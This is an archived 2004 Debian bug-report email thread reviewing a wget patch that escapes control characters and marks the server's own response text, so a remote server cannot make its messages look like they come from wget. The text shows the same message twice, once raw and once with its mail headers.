> fullquote because Jan asked for CC: and the previous mail wasn't CC: to
> him.

Thanks. Note that when you send a mail to <number>@bugs.debian.org, the
original submitter is *not* sent a copy; you have to CC: the submitter
explicitly.

> > + /* We encode each byte using at most 4 bytes, + trailing '\0'. */
> > + buf =3D xmalloc (4 * strlen (reason_phrase_ptr) + 1);
> >=20
> > Where is this buffer freed? Or is this compatible with the existing
> > approach to memory management in wget?

It isn't. Did I mention I can't code in C?...

> > - logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> > + /*
> > + * XXX Let's not allow the attacker pretend it's us speaking.
> > + *
> > + * It's important to:
> > + * (1) Explain who created the message
> > + * (2) Mark very visibly the beginning & end of the message
> > + * (3) Make clear we have no connection whatsoever with this message
> > + */
> > + /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> > + logprintf (LOG_NOTQUIET,
> > + _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
> >=20
> > I suppose that it would be better to use C-style quoting (with "")
> > instead of yet another ad-hoc string literal syntax.

Let's split this effort in four consequential steps:

(I) Filtering the control characters (including escape-sequences).

This is easy, if it weren't for so many places in the code that have to
be changed, and the massive difference between the woody & sarge
version. Just set the correct locale, do isprint(), and escape
appropriately. This can and should be adopted without a delay.

The following steps deal primarily with the freeform server-response:

(II) Making it possible to determine what the server-response is

You have to ensure the beginning & ending delimiters are not spoofable.
With Unicode, where similar glyphs are not so uncommon, and '\n' being
supplied by the terminal by the virtue of wrapping, this soon gets
tricky.

The begin-delimiter is ``Remote server said: BEGIN_QUOT'', the
end-delimiter is ``END_QUOT\n''. The begin-delimiter will work good,
regardless of the BEGIN_QUOT value. The only problem is we can't really
tell whether it was the *remote server*, or some third party (attacker),
who originated the message. If someone could come up with a more
appropriate phrase, I'd be pleased. The end-delimiter and any similar
glyphs (locale-dependent) will be escaped in the server-response, so
that it can't be spoofed. As we will never know which characters look
similar in a given font/locale combination, therefore we can never be
100% confident we are secure against spoofing. This, too, ...

Message-ID: <20040813012239.GB6850@kontryhel.haltyr.dyndns.org>
Date: Fri, 13 Aug 2004 03:22:40 +0200
From: Jan Minar <jjminar@fastmail.fm>
To: Noel =?iso-8859-2?Q?K=F6the?= <noel@debian.org>
Cc: Florian Weimer <fw@deneb.enyo.de>, 261755@bugs.debian.org
Subject: Re: Bug#261755: Patch review

--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Aug 11, 2004 at 01:08:24PM +0200, Noel K=F6the wrote:
> Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

> fullquote because Jan asked for CC: and the previous mail wasn't CC: to
> him.

Thanks.  Note that when you send a mail to <number>@bugs.debian.org, the
original submitter is *not* sent a copy; you have to CC: the submitter
explicitly.

> > +	/* We encode each byte using at most 4 bytes, + trailing '\0'. */
> > +	buf =3D xmalloc (4 * strlen (reason_phrase_ptr) + 1);
> >=20
> > Where is this buffer freed?  Or is this compatible with the existing
> > approach to memory management in wget?

It isn't.  Did I mention I can't code in C?...

> > -	  logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> > +	  /*
> > +	   * XXX Let's not allow the attacker pretend it's us speaking.
> > +	   *
> > +	   * It's important to:
> > +	   * (1) Explain who created the message
> > +	   * (2) Mark very visibly the beginning & end of the message
> > +	   * (3) Make clear we have no connection whatsoever with this message
> > +	   */
> > +	  /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> > +	  logprintf (LOG_NOTQUIET,
> > +			_("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
> >=20
> > I suppose that it would be better to use C-style quoting (with "")
> > instead of yet another ad-hoc string literal syntax.